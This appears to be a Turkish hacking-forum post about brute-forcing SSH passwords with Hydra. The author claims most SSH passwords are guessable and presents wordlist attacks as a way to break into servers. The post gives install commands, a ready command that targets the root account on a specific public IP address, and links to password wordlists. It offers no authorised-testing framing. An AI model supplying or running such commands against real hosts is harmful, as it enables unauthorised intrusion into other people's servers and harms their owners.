SSH Bruteforce denemesi (1 Viewer)

Joined
Dec 1, 2017
Credits
40
Rating - 0%
Uğraşırken öyle ssh sunuculara denk geldiğinizde şifrelerin basit olabileceği ihtimalini atlardım genelde bruteforce falan ile uğraşmamak için fakat ssh sunucularına artık her 10 kişiden 8inin şifresinin tahmin edilebilir olduğu söylendiğine göre sunucularda elimizde bulunan basit worldlistler ile sızılabilir hale gelir

kullanılacak yazılım -> hydra http://sectools.org/tool/hydra/

yunan mitolojisinin kolpa yaratıklarından kerberos alternatifi bir yılan adıdır çok başlıdır hatta marvel takip edenler bilir shield'in en büyük düşmanı olan hydra bi başını kestiğinde başka bi başı çıkıyor yani çok başlı yaratık. böyle yunan mitolojisi şeytanların gazabından rahman ve rahim olan alllahu tealaya sığınırım amin. mitoloji muhabbeti bi kenarıya hydra kurulumunu yapabilmek için kullandığınız paket yükleyicisinin repolarında mevcut ise örnek ile

pacman -S hydra
apt install hydra

şeklinde kurulumu yapılabilir yoksa verdiğim bağlantıdan el ile kurarsınız örnek bi komut ile

hydra -l root -P passlist.txt 212.185.184.18 ssh -s 22



ek olarak basit worldlistler

https://github.com/jeanphorn/wordlist/blob/master/ssh_passwd.txt
http://zeldor.biz/other/bruteforce/passlist.txt
hydra sadece ssh brute için değil tabi başka numaralarıda var ftp brute,http auth brute falan fistan ama ben sadece bunu kullandığım için bununla ilgili yazdım selametle.
 

Users who are viewing this thread

Top